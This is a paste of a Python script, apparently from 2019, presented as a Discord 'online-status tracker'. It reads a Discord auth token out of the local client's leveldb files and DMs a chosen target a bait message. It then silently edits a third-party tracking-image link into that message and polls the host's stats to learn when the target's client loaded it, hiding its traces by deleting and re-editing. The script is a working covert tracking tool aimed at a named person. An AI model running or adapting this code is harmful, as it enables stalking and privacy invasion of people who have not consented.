SHOW:
|
|
- or go back to the newest paste.
1 | """ | |
2 | Title: Discord Online-Status Tracker | |
3 | ||
4 | Author: h0nda (twitter.com/h0nde) | |
5 | ||
6 | Release Date: 2019-06-02 | |
7 | ||
8 | Description: | |
9 | This project abuses the fact that embedded image links don't get cached when a message is sent, | |
10 | only after it is visited by client. | |
11 | We can abuse this to track when a target's discord client processes a message, which can tell us | |
12 | if a target is online or not. | |
13 | ||
14 | Note: | |
15 | This project doesn't tell you when a target actually read your message, it just tells when it | |
16 | was processed by their device. | |
17 | You can avoid getting tracked by turning off the setting "When posted as links to chat." at | |
18 | Discord Client -> Settings -> Text & Images. | |
19 | """ | |
20 | ||
21 | import os | |
22 | import random | |
23 | import glob | |
24 | import re | |
25 | import time | |
26 | from datetime import datetime | |
27 | import requests | |
28 | import subprocess | |
29 | ||
30 | try: input = raw_input | |
31 | except NameError: pass | |
32 | ||
33 | # attempt to find discord token from local db files | |
34 | token = None | |
35 | for fpath in glob.glob(os.getenv("APPDATA")+"\\Discord\\Local Storage\\leveldb\\*.ldb"): | |
36 | try: | |
37 | with open(fpath, errors="ignore") as f: | |
38 | token_match = re.search("\"([a-zA-Z0-9\-]*\.[a-zA-Z0-9\-]*\.[a-zA-Z0-9\-]*)\"", f.read()) | |
39 | if token_match: | |
40 | token = token_match.group(1) | |
41 | break | |
42 | except: pass | |
43 | ||
44 | if not token: exit(print("Your authentication token could not be found. Make sure you are logged into Discord Client and try again.")) | |
45 | ||
46 | class Discord: | |
47 | def __init__(self, token): | |
48 | self.session = requests.Session() | |
49 | self.session.headers["Authorization"] = token | |
50 | self.session.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36" | |
51 | self.get_self_info() | |
52 | ||
53 | def get_self_info(self): | |
54 | self.info = self.session.get("https://discordapp.com/api/v6/users/@me").json() | |
55 | ||
56 | def create_trap_url(self): | |
57 | resp = requests.get( | |
58 | url="http://t.rbxtools.com/?create" | |
59 | ) | |
60 | ||
61 | return resp.json() | |
62 | ||
63 | def get_dm_channel_id(self, user_id): | |
64 | resp = self.session.post( | |
65 | url="https://discordapp.com/api/v6/users/"+str(self.info["id"])+"/channels", | |
66 | json={"recipients": [str(user_id)]} | |
67 | ) | |
68 | resp.raise_for_status() | |
69 | ||
70 | return resp.json()["id"] | |
71 | ||
72 | def delete_channel(self, channel_id): | |
73 | resp = self.session.delete( | |
74 | url="https://discordapp.com/api/v6/channels/"+str(channel_id) | |
75 | ) | |
76 | return 200 == resp.status_code | |
77 | ||
78 | def send_message(self, channel_id, body): | |
79 | resp = self.session.post( | |
80 | url="https://discordapp.com/api/v6/channels/"+str(channel_id)+"/messages", | |
81 | json={"content": body, "nonce": "".join([str(random.randint(0,9)) for _ in range(18)]), "tts": False} | |
82 | ) | |
83 | resp.raise_for_status() | |
84 | ||
85 | return resp.json()["id"] | |
86 | ||
87 | def edit_message(self, channel_id, msg_id, body): | |
88 | resp = self.session.patch( | |
89 | url="https://discordapp.com/api/v6/channels/"+str(channel_id)+"/messages/"+str(msg_id), | |
90 | json={"content": body} | |
91 | ) | |
92 | return 200 == resp.status_code | |
93 | ||
94 | target_uid = input("Target User ID: ") | |
95 | msg_body = input("Enter your 'bait' message: ") | |
96 | ||
97 | # le deprecated laziness has arrived | |
98 | # make sure we don't accidentally load the trap image ourselves | |
99 | os.system("taskkill /f /t /im Discord.exe > nul 2> nul") | |
100 | ||
101 | session = Discord(token) | |
102 | target_cid = session.get_dm_channel_id(target_uid) | |
103 | trap = session.create_trap_url() | |
104 | if "error" in trap: | |
105 | print("Error while creating trap link:", trap["error"]) | |
106 | exit() | |
107 | ||
108 | # send message without link to avoid it showing up on notification | |
109 | bait_msg = session.send_message(target_cid, msg_body) | |
110 | # edit message to add link | |
111 | session.edit_message(target_cid, bait_msg, msg_body+"\n"+trap["url"]) | |
112 | # make sure we don't accidentally load the trap image ourselves | |
113 | session.delete_channel(target_cid) | |
114 | ||
115 | subprocess.Popen([glob.glob(os.getenv("LOCALAPPDATA")+r"\\Discord\app*")[0]+r"\Discord.exe"], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) | |
116 | ||
117 | print("\nBait message has been sent to target user. Do not re-open your DM channel with the target user or the tracking will fail.") | |
118 | print("You'll be notified of when the message was viewed below:\n") | |
119 | ||
120 | # wait until link is visited | |
121 | while 1!=time.sleep(1): | |
122 | try: | |
123 | status = requests.get(trap["stats_url"]).json() | |
124 | if status["views"] > 1: | |
125 | print("Message", "'"+msg_body+"'", "was viewed at", datetime.fromtimestamp(status["last_visit"]).strftime("%Y-%m-%d %H:%M:%S"), "\a") | |
126 | target_cid = session.get_dm_channel_id(target_uid) | |
127 | session.edit_message(target_cid, bait_msg, msg_body) | |
128 | session.delete_channel(target_cid) | |
129 | break | |
130 | except Exception as error: pass | |
131 | ||
132 | while 1!=time.sleep(5): pass |